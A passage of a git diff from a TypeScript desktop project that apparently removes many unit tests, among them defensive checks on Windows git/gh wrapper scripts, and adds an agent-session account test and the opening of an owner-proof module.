- }) -}) - describe('applyPluginConsent', () => { it('stores approval only for the fingerprint the user reviewed', async () => { const harness = createStore() @@ -133,33 +114,3 @@ describe('applyPluginConsent', () => { expect(pluginService.reconcileActivationState).toHaveBeenCalledOnce() }) }) - -describe('applyPluginEnablement', () => { - it('does not persist unknown plugin identities', async () => { - const harness = createStore() - const pluginService = createPluginService(() => 'sha256-current') - - await expect( - applyPluginEnablement({ - store: harness.store, - pluginService, - pluginKey: 'samples.unknown', - enabled: false - }) - ).rejects.toThrow('unknown plugin') - - expect(harness.updateSettings).not.toHaveBeenCalled() - }) - - it('tells every window, including the one that clicked, so its themes stop painting', async () => { - const harness = createStore() - const pluginService = createPluginService(() => 'sha256-current') - - await applyPluginEnablement({ store: harness.store, pluginService, pluginKey, enabled: false }) - - expect(harness.updateSettings).toHaveBeenCalledWith( - { disabledPlugins: [pluginKey] }, - { notifyListeners: true } - ) - }) -}) diff --git a/src/main/ports/workspace-port-execution-host.test.ts b/src/main/ports/workspace-port-execution-host.test.ts index 1ccd842b35b..34bd3499439 100644 --- a/src/main/ports/workspace-port-execution-host.test.ts +++ b/src/main/ports/workspace-port-execution-host.test.ts @@ -54,17 +54,6 @@ describe('scanWorkspacePortsOnExecutionHost', () => { vi.restoreAllMocks() }) - it('scans this host for a local workspace and names the host', async () => { - scanWorkspacePortsMock.mockResolvedValue(localWorkspaceScan()) - const d = deps() - - const result = await scanWorkspacePortsOnExecutionHost('local', d) - - expect(scanWorkspacePortsMock).toHaveBeenCalledWith([LOCAL_PROBE], undefined, undefined) - expect(result).toMatchObject({ executionHostId: 'local', platform: 'linux' }) - expect(result.ports).toHaveLength(1) - }) - it('reports an SSH host as unavailable, not as an empty host, and never scans this host', async () => { const result = await scanWorkspacePortsOnExecutionHost('ssh:box', deps()) @@ -73,14 +62,6 @@ describe('scanWorkspacePortsOnExecutionHost', () => { expect(result.unavailableReason).toBe(SSH_PORT_SCAN_UNSUPPORTED_REASON) expect(result.unavailableReason).not.toMatch(/dropped|Reconnect/) }) - - it('refuses a workspace hosted by another server instead of scanning here', async () => { - const d = deps() - const result = await scanWorkspacePortsOnExecutionHost('runtime:env-2', d) - - expect(scanWorkspacePortsMock).not.toHaveBeenCalled() - expect(result.unavailableReason).toBeTruthy() - }) }) describe('killWorkspacePortOnExecutionHost', () => { @@ -89,23 +70,6 @@ describe('killWorkspacePortOnExecutionHost', () => { vi.restoreAllMocks() }) - it('stops a workspace-owned listener on this host after re-proving ownership', async () => { - const kill = vi.spyOn(process, 'kill').mockImplementation(() => true) - scanWorkspacePortsMock.mockResolvedValue(localWorkspaceScan()) - - const result = await killWorkspacePortOnExecutionHost( - 'local', - { executionHostId: 'local', pid: PID, port: PORT }, - deps() - ) - - expect(result).toEqual({ ok: true }) - expect(scanWorkspacePortsMock).toHaveBeenCalledWith([LOCAL_PROBE], undefined, { - requireMetadata: true - }) - expect(kill).toHaveBeenCalledWith(PID, 'SIGTERM') - }) - it("never signals this host's same pid for a row scanned on the SSH host", async () => { const kill = vi.spyOn(process, 'kill').mockImplementation(() => true) scanWorkspacePortsMock.mockResolvedValue(localWorkspaceScan()) diff --git a/src/main/pty/codex-preflight-profile-path-rewrite.test.ts b/src/main/pty/codex-preflight-profile-path-rewrite.test.ts index 9e4b9284ebf..d58fcf6c20e 100644 --- a/src/main/pty/codex-preflight-profile-path-rewrite.test.ts +++ b/src/main/pty/codex-preflight-profile-path-rewrite.test.ts @@ -108,14 +108,6 @@ afterEach(() => { }) describe.skipIf(!bashAvailable)('Codex preflight under a profile-rewritten PATH', () => { - it('sources the user profile before emitting the codex wrapper', () => { - const rcfile = getDaemonBashShellReadyRcfileContent() - - expect(rcfile.indexOf('source "$HOME/.bash_profile"')).toBeLessThan( - rcfile.indexOf('ORCA_CODEX_LAUNCH_PREFLIGHT') - ) - }) - it('runs the bundled CLI the resolver picked, not the impostor the profile put first', () => { const fixture = buildFixture() const preflightCommand = resolveCodexShellLaunchPreflightCommand({ diff --git a/src/main/pty/legacy-terminal-windows-tombstone.test.ts b/src/main/pty/legacy-terminal-windows-tombstone.test.ts deleted file mode 100644 index fbd993bdbd1..00000000000 --- a/src/main/pty/legacy-terminal-windows-tombstone.test.ts +++ /dev/null @@ -1,224 +0,0 @@ -import { mkdirSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import { resolvePosixTombstoneInterpreter } from './legacy-terminal-posix-tombstone' -import { - __resetLegacyTerminalShimNeutralizationForTests, - neutralizeLegacyTerminalShimDir -} from './legacy-terminal-shim-dir' - -// Missing indexOf operands return -1 and can falsely satisfy ordering. -function expectOrdered(text: string, first: string, second: string): void { - expect(text, `missing: ${first}`).toContain(first) - expect(text, `missing: ${second}`).toContain(second) - expect(text.indexOf(first)).toBeLessThan(text.indexOf(second)) -} - -describe('legacy terminal Windows tombstone text', () => { - const tempRoots: string[] = [] - - const makeUserDataDir = (): string => { - const userData = mkdtempSync(join(tmpdir(), 'orca-legacy-shim-win-')) - tempRoots.push(userData) - return userData - } - - beforeEach(() => { - __resetLegacyTerminalShimNeutralizationForTests() - }) - - afterEach(() => { - for (const tempRoot of tempRoots.splice(0)) { - rmSync(tempRoot, { recursive: true, force: true }) - } - }) - - it('rejects stale Windows real-command paths inside the wrapper directory', () => { - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - const cmd = readFileSync(join(win32Dir, 'git.cmd'), 'utf8') - expect(cmd).toContain( - 'if defined orca_real for %%G in ("%orca_real%") do if /I "%%~dpG"=="%~dp0" set "orca_real="' - ) - // A stale captured path must fall back instead of invoking a missing binary. - expect(cmd).toContain('if defined orca_real if not exist "%orca_real%" set "orca_real="') - expectOrdered(cmd, 'if not exist "%orca_real%"', ':orca_try_candidate') - const powershell = readFileSync(join(win32Dir, 'git-wrapper.ps1'), 'utf8') - expect(powershell).toContain('[StringComparison]::OrdinalIgnoreCase') - expect(powershell).toContain('$realCommand = $null') - expectOrdered( - powershell, - '[StringComparison]::OrdinalIgnoreCase', - 'Test-Path -LiteralPath $realCommand' - ) - }) - - it('emits no percent expression inside a cmd rem comment', () => { - // cmd expands variables even in rem; separators behave differently inside blocks. - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const command of ['git', 'gh'] as const) { - const offending = readFileSync(join(win32Dir, `${command}.cmd`), 'utf8') - .split('\r\n') - .filter((line) => /^\s*rem\b/i.test(line) && line.includes('%')) - expect(offending, `rem comments with percent expressions: ${offending.join(' | ')}`).toEqual( - [] - ) - } - }) - - it('keeps the Windows wrappers ASCII-only', () => { - // Multibyte comments shifted cmd byte positions and broke following lines on Windows 11. - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const name of ['git.cmd', 'gh.cmd', 'git-wrapper.ps1', 'gh-wrapper.ps1']) { - const contents = readFileSync(join(win32Dir, name), 'utf8') - const offending = [...contents].find((character) => character.charCodeAt(0) > 0x7f) - expect(offending, `${name} contains non-ASCII ${JSON.stringify(offending)}`).toBeUndefined() - expect(Buffer.byteLength(contents, 'utf8')).toBe(contents.length) - } - }) - - it('resolves Windows fallbacks against PATH only, never the current directory', () => { - // where.exe searches cwd first and could execute repository-local git/gh (STA-4169). - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const command of ['git', 'gh'] as const) { - const cmd = readFileSync(join(win32Dir, `${command}.cmd`), 'utf8') - expect(cmd).not.toContain('where.exe') - expect(cmd).toContain('for %%P in ("%orca_clean_path:;=" "%") do (') - expect(cmd).toContain(`if exist "%orca_candidate_dir%\\${command}.exe"`) - // Normalize trailing separators to avoid self-exec; a variable avoids cmd's literal-backslash parser trap. - expect(cmd).toContain('set "orca_sep=\\"') - // Inherited /V:ON expands ! in PATH; measured cases executed cwd-local git or lost legitimate entries. - expect(cmd).toContain('setlocal DisableDelayedExpansion') - expect(cmd).not.toContain('\r\nsetlocal\r\n') - // Relative captured commands resolve from cwd and must be rejected. - expect(cmd).toContain('if defined orca_real call :orca_check_rooted') - expect(cmd).toContain('if defined orca_real if not defined orca_rooted set "orca_real="') - // Exported PATH reaches child tools; pin the exact subroutine because matching earlier call sites hid its missing guard. - expect(cmd).toContain(':orca_append_path\r\nif not defined orca_entry exit /b\r\n') - expect(cmd).toContain( - 'set "orca_probe=%orca_entry%"\r\ncall :orca_check_rooted\r\nif not defined orca_rooted exit /b\r\nfor %%G in ("%orca_entry%") do set "orca_path_entry_dir=%%~fG"' - ) - // CALL re-expands path arguments: literal percent variables could become cwd and execute planted git. Pass data through variables. - expect(cmd).not.toContain('call :orca_check_rooted "') - expect(cmd).not.toContain('call :orca_try_candidate "') - expect(cmd).not.toContain('call :orca_append_path "') - expect(cmd).not.toContain('%~1') - expect(cmd).toContain('set "orca_probe=%orca_entry%"\r\ncall :orca_check_rooted\r\n') - // Define the separator before any normalization; otherwise stripping silently no-ops. - expectOrdered(cmd, 'set "orca_sep=', 'if "%orca_legacy_norm:~-1%."') - // Compare dot-suffixed values to avoid expanding the separator into a literal-backslash parser trap. - expect(cmd).not.toContain('=="%orca_sep%"') - // Pin rejection too; accept-only assertions stayed green when the cwd-hijack guard was removed. - expectOrdered( - cmd, - 'call :orca_check_rooted\r\nif not defined orca_rooted exit /b', - 'for %%G in ("%orca_entry%") do set "orca_candidate_dir=' - ) - expect(cmd).toContain('if not defined orca_rooted exit /b') - expect(cmd).toContain('if "%orca_candidate_dir:~-1%."=="%orca_sep%."') - expect(cmd).not.toContain(':\\#=#%') - // CALL rebinds %~dp0; self-exclusion must use the cached wrapper directory. - expect(cmd).toContain('if /I "%orca_candidate_dir%\\"=="%orca_wrapper_dir%" exit /b') - // External tools in the rooted-path check would reintroduce cwd lookup. - expect(cmd).not.toContain('findstr') - expect(cmd).toContain('if "%orca_probe:~1,2%"==":\\" set "orca_rooted=1"') - expect(cmd).toContain('if "%orca_probe:~0,2%"=="\\\\" set "orca_rooted=1"') - // Both empty-element guards need pins; removing either otherwise left the suite green. - expect(cmd).toContain('if not defined orca_entry exit /b') - - const powershell = readFileSync(join(win32Dir, `${command}-wrapper.ps1`), 'utf8') - expect(powershell).not.toContain('Get-Command') - expect(powershell).toContain("($env:PATH -split ';')") - // IsPathRooted accepts drive-relative C:foo; require an absolute prefix. - expect(powershell).not.toContain('[IO.Path]::IsPathRooted(') - expect(powershell).toContain("$pathEntry -match '^([A-Za-z]:[\\\\/]|\\\\\\\\)'") - expect(powershell).toContain("$realCommand -notmatch '^([A-Za-z]:[\\\\/]|\\\\\\\\)'") - // A shorter prefix would also accept drive-relative C:foo. - expect(powershell).toContain("-notmatch '^([A-Za-z]:[\\\\/]|\\\\\\\\)'") - // Mutation showed each trailing-separator normalization could disappear without other failures. - expect(powershell).toContain("ForEach-Object { $_.TrimEnd('\\', '/') }") - expect(powershell).toContain("$pathEntry.TrimEnd('\\', '/')") - expect(powershell).toContain("$dir.TrimEnd('\\', '/')") - expect(powershell).toContain("$capturedDir.TrimEnd('\\', '/')") - expect(powershell).toContain( - "$dir.TrimEnd('\\', '/'), [StringComparison]::OrdinalIgnoreCase) }) { continue }" - ) - // Both separators are accepted in rooted paths and must be normalized for self-exclusion. - expect(powershell).not.toContain("TrimEnd('\\')") - expect(cmd).toContain('if "%orca_probe:~1,2%"==":/" set "orca_rooted=1"') - expect(cmd).toContain('if "%orca_legacy_norm:~-1%."=="%orca_sep%."') - // cmd expands whole lines before if defined; defer unset-variable substring operations into a CALL body. - expect(cmd).toContain('if defined orca_legacy_wrapper_dir call :orca_normalize_legacy_dir') - expect(cmd).not.toContain('if defined orca_legacy_wrapper_dir for ') - expect(powershell).toContain('if (-not $dir) { continue }') - expect(powershell).toContain('Test-Path -LiteralPath $candidate -PathType Leaf') - } - }) - - it('emits Windows wrappers with CRLF line endings', () => { - // cmd label lookup failed for longer LF-only wrappers on Windows; require CRLF. - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const file of ['git.cmd', 'gh.cmd', 'git-wrapper.ps1', 'gh-wrapper.ps1']) { - const body = readFileSync(join(win32Dir, file), 'utf8') - expect(body, file).toContain('\r\n') - expect(body.replaceAll('\r\n', ''), file).not.toContain('\n') - } - }) - - it('guards both cmd PATH walks so an empty variable cannot break parsing', () => { - // Expanding an empty PATH into quoted elements leaves unbalanced quotes and breaks cmd parsing. - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const command of ['git', 'gh'] as const) { - const cmd = readFileSync(join(win32Dir, `${command}.cmd`), 'utf8') - expect(cmd).toContain('if not defined PATH goto :orca_path_walked') - expect(cmd).toContain('if not defined orca_clean_path goto :orca_candidates_walked') - for (const [guard, loop] of [ - ['if not defined PATH goto :orca_path_walked', 'for %%P in ("%PATH:;='], - [ - 'if not defined orca_clean_path goto :orca_candidates_walked', - 'for %%P in ("%orca_clean_path:;=' - ] - ] as const) { - expectOrdered(cmd, guard, loop) - } - } - }) - - it('never bakes an ambient interpreter lookup on Windows', () => { - // Windows cannot verify guest paths; both Git Bash and WSL map /bin/bash without ambient lookup. - expect(resolvePosixTombstoneInterpreter(undefined, [], 'win32')).toBe('/bin/bash') - expect(resolvePosixTombstoneInterpreter('C:\\Git\\bin;C:\\Windows', [], 'win32')).toBe( - '/bin/bash' - ) - }) -}) diff --git a/src/main/rate-limits/gemini-usage-fetcher.fallback.test.ts b/src/main/rate-limits/gemini-usage-fetcher.fallback.test.ts index d633d221641..6ab5077b63b 100644 --- a/src/main/rate-limits/gemini-usage-fetcher.fallback.test.ts +++ b/src/main/rate-limits/gemini-usage-fetcher.fallback.test.ts @@ -44,27 +44,6 @@ describe('fetchGeminiRateLimits fallback oauth creds', () => { }) }) - it('falls back to oauth_creds.json when auth.json has no google key', async () => { - readFileMock.mockImplementation(async (filePath: string) => { - if (filePath.includes('auth.json')) { - return JSON.stringify({ 'opencode-go': { type: 'api', key: 'k' } }) - } - if (filePath.includes('oauth_creds.json')) { - return JSON.stringify(validCreds) - } - throw { code: 'ENOENT' } - }) - fetchMock - .mockResolvedValueOnce(makeResponse({ cloudaicompanionProject: 'proj-123' })) - .mockResolvedValueOnce(makeResponse(quotaResponse)) - - const result = await fetchGeminiRateLimits(true) - - expect(result.status).toBe('ok') - expect(result.error).toBeNull() - expect(result.session).not.toBeNull() - }) - it('falls back to oauth_creds.json and resolves project via loadCodeAssist', async () => { readFileMock.mockImplementation(async (filePath: string) => { if (filePath.includes('auth.json')) { diff --git a/src/main/rate-limits/gemini-usage-fetcher.test.ts b/src/main/rate-limits/gemini-usage-fetcher.test.ts index ee76d26fb56..609c815dd2d 100644 --- a/src/main/rate-limits/gemini-usage-fetcher.test.ts +++ b/src/main/rate-limits/gemini-usage-fetcher.test.ts @@ -1,11 +1,6 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' import { setMainHttpClient } from '../network/http-client' -import { - authJsonGoogle, - authJsonGoogleExpired, - makeResponse, - quotaResponse -} from './gemini-usage-fetcher.test-fixtures' +import { authJsonGoogle, makeResponse, quotaResponse } from './gemini-usage-fetcher.test-fixtures' const { readFileMock, extractCredsMock } = vi.hoisted(() => ({ readFileMock: vi.fn(), @@ -59,35 +54,6 @@ describe('fetchGeminiRateLimits', () => { throw { code: 'ENOENT' } }) } - const setupAuthJsonExpired = () => { - readFileMock.mockImplementation(async (p: string) => { - if (p.includes('auth.json')) { - return JSON.stringify(authJsonGoogleExpired) - } - throw { code: 'ENOENT' } - }) - } - - it('returns unavailable when no credentials exist', async () => { - const result = await fetchGeminiRateLimits(true) - expect(result.status).toBe('unavailable') - }) - - it('returns quota via auth.json', async () => { - setupAuthJsonValid() - fetchMock.mockImplementation((url: string) => { - if (url.includes('retrieveUserQuota')) { - return Promise.resolve(makeResponse(quotaResponse)) - } - if (url.includes('loadCodeAssist')) { - return Promise.resolve(makeResponse({ cloudaicompanionProject: 'proj-123' })) - } - return Promise.resolve(makeResponse({}, 404)) - }) - const result = await fetchGeminiRateLimits(true) - expect(result.status).toBe('ok') - expect(result.buckets).toHaveLength(2) - }) it('tags a quota request that throws as a network failure', async () => { setupAuthJsonValid() @@ -136,31 +102,6 @@ describe('fetchGeminiRateLimits', () => { expect(result.buckets![0].name).toBe('1.5 Flash') }) - it('handles empty bucket list', async () => { - setupAuthJsonValid() - fetchMock.mockImplementation((url: string) => { - if (url.includes('retrieveUserQuota')) { - return Promise.resolve(makeResponse([])) - } - if (url.includes('loadCodeAssist')) { - return Promise.resolve(makeResponse({ cloudaicompanionProject: 'proj-123' })) - } - return Promise.resolve(makeResponse({}, 404)) - }) - const result = await fetchGeminiRateLimits(true) - expect(result.status).toBe('ok') - expect(result.buckets).toEqual([]) - }) - - it('returns error when token refresh fails', async () => { - vi.useRealTimers() - setupAuthJsonExpired() - const result = await fetchGeminiRateLimits(true) - expect(result.status).toBe('error') - expect(result.error).toContain('Token refresh failed') - vi.useFakeTimers() - }) - it('handles wrapped buckets response', async () => { setupAuthJsonValid() fetchMock.mockImplementation((url: string) => { diff --git a/src/main/rate-limits/kimi-fetcher-wsl-home.test.ts b/src/main/rate-limits/kimi-fetcher-wsl-home.test.ts index 2f5fce33f95..2d1b1490880 100644 --- a/src/main/rate-limits/kimi-fetcher-wsl-home.test.ts +++ b/src/main/rate-limits/kimi-fetcher-wsl-home.test.ts @@ -76,48 +76,6 @@ describe('fetchKimiRateLimits with a WSL credentials home', () => { expect(fetchMock.mock.calls[0][1].headers.Authorization).toBe('Bearer wsl-fresh') }) - it('still reads the host home by default', async () => { - const result = await fetchKimiRateLimits() - - expect(result.status).toBe('error') - expect(result.usageMetadata?.failureKind).toBe('delegated-refresh-required') - expect(result.error).toContain('on the computer running Orca') - expect(fetchMock).not.toHaveBeenCalled() - }) - - it('points an expired WSL session at the distro to rerun kimi in', async () => { - files.set(WSL_CREDENTIALS, credentials('wsl-stale', -60)) - - const result = await fetchKimiRateLimits({ - home: { runtime: 'wsl', wslDistro: 'Ubuntu', path: WSL_HOME } - }) - - expect(result.error).toBe( - 'Kimi session expired — run kimi inside WSL (Ubuntu), then retry usage.' - ) - expect(result.usageMetadata?.failureKind).toBe('delegated-refresh-required') - }) - - it('reports an unresolvable WSL home instead of falling back to host credentials', async () => { - const result = await fetchKimiRateLimits({ - home: { runtime: 'wsl', wslDistro: 'Ubuntu', path: null } - }) - - expect(result.status).toBe('error') - expect(result.error).toBe('WSL Kimi home unavailable for Ubuntu') - expect(fetchMock).not.toHaveBeenCalled() - }) - - it('reports not signed in when the WSL home has no credentials file', async () => { - files.delete(WSL_CREDENTIALS) - - const result = await fetchKimiRateLimits({ - home: { runtime: 'wsl', wslDistro: 'Ubuntu', path: WSL_HOME } - }) - - expect(result.status).toBe('unavailable') - }) - // Hung UNC probes stay shared; isolate the stopped distro path so it cannot poison other cases. it('bounds a stalled UNC read instead of parking the poll cycle', async () => { const stalledHome = '\\\\wsl.localhost\\Stopped\\home\\neil\\.kimi-code' diff --git a/src/main/rate-limits/opencode-go-usage-api.test.ts b/src/main/rate-limits/opencode-go-usage-api.test.ts index 45b9e484d47..f99b0e81f93 100644 --- a/src/main/rate-limits/opencode-go-usage-api.test.ts +++ b/src/main/rate-limits/opencode-go-usage-api.test.ts @@ -139,14 +139,4 @@ describe('fetchOpenCodeGoUsageWithApiKey', () => { message: 'Could not parse OpenCode Go usage response' }) }) - - it('never leaks the key through a network failure message', async () => { - fetchMock.mockRejectedValue(new Error(`request to ${OPENCODE_GO_USAGE_API_URL} failed`)) - - const outcome = await fetchOpenCodeGoUsageWithApiKey(API_KEY) - - expect(outcome.kind).toBe('failed') - expect(outcome.kind === 'failed' && outcome.message).not.toContain(API_KEY) - expect(outcome.kind === 'failed' && outcome.failureKind).toBe('network') - }) }) diff --git a/src/main/rate-limits/service-zcode-usage.test.ts b/src/main/rate-limits/service-zcode-usage.test.ts index 1a775d67cca..6c30a638fcc 100644 --- a/src/main/rate-limits/service-zcode-usage.test.ts +++ b/src/main/rate-limits/service-zcode-usage.test.ts @@ -8,7 +8,6 @@ import { RateLimitService } from './service' import { fetchClaudeRateLimits } from './claude-fetcher' import { fetchCodexRateLimits } from './codex-fetcher' import { fetchZcodeRateLimits } from './zcode-usage-fetcher' -import { hasZcodePlanApiKey } from '../zcode/zcode-plan-api-key-store' import { deferred, okProvider, @@ -88,39 +87,6 @@ describe('RateLimitService zcode plan credentials', () => { vi.mocked(fetchCodexRateLimits).mockResolvedValue(okProvider('codex', 20)) }) - it('fetches zcode with the site-resolved plan credential when a resolver is set', async () => { - const service = new RateLimitService() - service.setZcodePlanConfigResolver(() => ({ site: 'bigmodel', apiKey: 'glm-key' })) - vi.mocked(hasZcodePlanApiKey).mockReturnValue(true) - vi.mocked(fetchZcodeRateLimits).mockResolvedValueOnce(okProvider('zcode', 33, Date.now())) - - await service.refresh() - - expect(fetchZcodeRateLimits).toHaveBeenCalledTimes(1) - expect(fetchZcodeRateLimits).toHaveBeenCalledWith({ - signal: expect.any(AbortSignal), - planCredential: { apiKey: 'glm-key', baseUrl: 'https://open.bigmodel.cn' } - }) - const state = service.getState() - expect(state.zcode?.status).toBe('ok') - expect(state.zcode?.session?.usedPercent).toBe(33) - expect(state.zcodePlanApiKeyConfigured).toBe(true) - }) - - it('passes no plan credential while no key is saved and still fetches via the CLI config', async () => { - const service = new RateLimitService() - service.setZcodePlanConfigResolver(() => ({ site: 'zai', apiKey: '' })) - vi.mocked(fetchZcodeRateLimits).mockResolvedValueOnce(okProvider('zcode', 12, Date.now())) - - await service.refresh() - - expect(fetchZcodeRateLimits).toHaveBeenCalledWith({ - signal: expect.any(AbortSignal), - planCredential: null - }) - expect(service.getState().zcode?.session?.usedPercent).toBe(12) - }) - it('surfaces a resolver failure as a zcode-only error without fetching', async () => { const service = new RateLimitService() service.setZcodePlanConfigResolver(() => { diff --git a/src/main/runtime/agent-session-acquired-account.test.ts b/src/main/runtime/agent-session-acquired-account.test.ts new file mode 100644 index 00000000000..0fb40a662b3 --- /dev/null +++ b/src/main/runtime/agent-session-acquired-account.test.ts @@ -0,0 +1,211 @@ +import { + providerContextBoundaryForClear, + type AgentSessionConversationClear +} from './agent-session-conversation-command-record' +import { structuredAgentSessionReceivingAccount } from '../native-chat/agent-session-wire/structured-agent-session-receiving-account' +import { describe, expect, it } from 'vitest' +import { + acquiredAgentSessionAccount, + withAcquiredAgentSessionAccount +} from '../../shared/agent-session-acquired-account' +import { agentSessionConversationView } from '../../shared/agent-session-conversation-view' +import { + createReceivingAccountFixture, + RECEIVING_A, + SELECTED_B +} from '../native-chat/agent-session-wire/structured-agent-session-receiving-account.test-support' +import { openTestAgentSessionRecordStore } from './agent-session-record-store-test-harness' +import { + proveAgentSessionOwner, + withLease +} from './agent-session/ownership/agent-session-lease-transitions' +import { prepareClaudeReceivingAccount } from '../claude/claude-receiving-account' + +async function releasedFixture() { + const f = await createReceivingAccountFixture() + await f.store.reconcileOnRestart({ + sessionId: f.root, + probe: async () => ({ outcome: 'exit-observed' }), + now: 40_000 + }) + const record = f.store.getRecord(f.root) + if (!record) { + throw new Error('record missing after reconciliation') + } + return { ...f, released: record } +} + +describe('actual acquired account receipt in the fenced record owner', () => { + it('reloads the last success across a proven release and reservation, then co-writes the next success', async () => { + const f = await releasedFixture() + try { + expect(acquiredAgentSessionAccount(f.released, 'local')?.recipe.home).toBe(RECEIVING_A.path) + expect(acquiredAgentSessionAccount(f.released, 'another-host')).toBeNull() + expect(acquiredAgentSessionAccount({ ...f.released, sessionId: 'another-chat' })).toBeNull() + const reserved = await f.store.reserveOwner({ + sessionId: f.root, + location: f.released.location, + provider: 'claude', + accountHome: f.released.accountHome, + expectedFence: f.released.lease.runtimeFence, + spawnToken: 'new-spawn', + claimKeyId: 'key-1', + handoffOperationId: null, + probe: { outcome: 'exit-observed' }, + now: 40_001, + operation: { + callerKey: 'client', + operationId: '0000000040001-00000000000000000000000000000001', + fingerprint: 'next-success' + } + }) + const current = f.store.getRecord(f.root) + expect(reserved).toBeDefined() + if (!current) { + throw new Error('reservation missing') + } + expect(acquiredAgentSessionAccount(current)?.recipe.home).toBe(RECEIVING_A.path) + await f.store.commitProcessIdentity({ + sessionId: f.root, + fence: current.lease.runtimeFence, + process: { + hostId: 'local', + pid: 4242, + processStartTimeMs: 40_001, + spawnToken: 'new-spawn' + }, + now: 40_002 + }) + const recipe = { + route: 'system' as const, + home: '/custom/receiving', + configDir: '/custom/receiving' + } + await f.store.proveOwner({ + sessionId: f.root, + fence: current.lease.runtimeFence, + now: 40_003, + accountAcquisition: { generation: 'new-generation', recipe } + }) + const reloaded = (await openTestAgentSessionRecordStore(f.rig.root)).getRecord(f.root) + if (!reloaded) { + throw new Error('durable proof missing') + } + expect(acquiredAgentSessionAccount(reloaded)?.recipe).toEqual(recipe) + expect(acquiredAgentSessionAccount(reloaded)?.fence).toBe(current.lease.runtimeFence) + expect(agentSessionConversationView(reloaded)).not.toHaveProperty('acquiredAccount') + const env = { CLAUDE_CONFIG_DIR: '/selected/b', PATH: '/usr/bin' } + expect(await prepareClaudeReceivingAccount(undefined, env, '/founding/c', recipe)).toEqual( + recipe + ) + expect(env).toEqual({ CLAUDE_CONFIG_DIR: '/custom/receiving', PATH: '/usr/bin' }) + } finally { + await f.dispose() + } + }) + + it('does not confuse known failed reservation cleanup with an unrecorded successful older acquisition', async () => { + const f = await releasedFixture() + try { + const reserved = withLease(f.released, { + ...f.released.lease, + runtimeFence: f.released.lease.runtimeFence + 1, + claimStatus: 'reserved', + handoffStage: 'new-owner-proving', + ownerProcess: null, + reservedSpawnToken: 'next', + unreconciled: false + }) + const failed = withLease(reserved, { + ...reserved.lease, + runtimeFence: reserved.lease.runtimeFence + 1, + claimStatus: 'released', + handoffStage: null, + reservedSpawnToken: null, + deathEvidence: { + kind: 'exit-observed', + detail: 'observed process exit', + observedAt: 50_000, + ownerFence: reserved.lease.runtimeFence + } + }) + expect(acquiredAgentSessionAccount(failed)?.recipe.home).toBe(RECEIVING_A.path) + const process = { hostId: 'local', pid: 4242, processStartTimeMs: 50_000, spawnToken: 'next' } + const proving = withLease(reserved, { ...reserved.lease, ownerProcess: process }) + // Older proof preserves unknown extension bytes but does not observe the successful new construction. + const olderProof = proveAgentSessionOwner({ + record: proving, + fence: proving.lease.runtimeFence, + now: 50_001, + leaseTtlMs: 30_000 + }) + expect(acquiredAgentSessionAccount(olderProof)).toBeNull() + const olderRelease = { + ...olderProof, + lease: { + ...olderProof.lease, + runtimeFence: olderProof.lease.runtimeFence + 1, + claimStatus: 'released' as const, + ownerProcess: null + } + } + expect(acquiredAgentSessionAccount(olderRelease)).toBeNull() + expect(withAcquiredAgentSessionAccount(olderProof, undefined)).not.toHaveProperty( + 'acquiredAccount' + ) + expect( + acquiredAgentSessionAccount({ ...f.released, acquiredAccount: { version: 900 } }) + ).toBeNull() + } finally { + await f.dispose() + } + }) + it('clears exact response ownership with the existing fenced record/journal receipt, retaining created work', async () => { + const f = await releasedFixture() + try { + const message = f.finish(f.start()) + const next = await f.submit(f.body(message)) + f.session.child = null + expect( + (await structuredAgentSessionReceivingAccount(f.deps, f.released, f.session, next)).home + ).toEqual(RECEIVING_A) + const clear: AgentSessionConversationClear = { + sessionId: f.root, + fence: f.released.lease.runtimeFence, + now: 40_001, + command: { + command: 'clear', + phase: 'committed', + state: 'completed', + runtimeFence: f.released.lease.runtimeFence, + callerKey: 'client', + operationId: '1800000000000-00000000000000000000000000000002' + } + } + const operation = { + callerKey: clear.command.callerKey, + operationId: clear.command.operationId + } + await f.store.admitOperation({ ...operation, fingerprint: 'clear', now: 40_001 }) + await f.journal.context.clear( + providerContextBoundaryForClear(clear), + f.store.conversationReceipts.clear(() => clear, operation) + ) + const current = f.store.getRecord(f.root) + if (!current) { + throw new Error('record missing after clear') + } + expect(current.providerHandleChain).toEqual([]) + expect(acquiredAgentSessionAccount(current)?.recipe.home).toBe(RECEIVING_A.path) + expect( + (await structuredAgentSessionReceivingAccount(f.deps, current, f.session)).home + ).toEqual(SELECTED_B) + f.start() + expect( + (await structuredAgentSessionReceivingAccount(f.deps, current, f.session)).home + ).toEqual(RECEIVING_A) + } finally { + await f.dispose() + } + }) +}) diff --git a/src/main/runtime/agent-session-owner-proof.ts b/src/main/runtime/agent-session-owner-proof.ts new file mode 100644 index 00000000000..13074c37679 --- /dev/null +++ b/src/main/runtime/agent-session-owner-proof.ts @@ -0,0 +1,37 @@ +import type { AgentSessionRecord } from '../../shared/agent-session-record' +import type { AgentSessionProviderHandleLink } from '../../shared/agent-session-provider-handle' +import { + withAcquiredAgentSessionAccount, + type ClaudeAccountRecipe +} from '../../shared/agent-session-acquired-account' +import { proveAgentSessionOwner } from './agent-session/ownership/agent-session-lease-transitions' + +/** Construction observation and owner proof share the record's existing transaction. */ +export function createAgentSessionOwnerProof( + mutate: ( + id: string, + transition: (record: AgentSessionRecord) => AgentSessionRecord + ) => Promise, + leaseTtlMs: number +) { + return (args: { + sessionId: string + fence: number + link?: 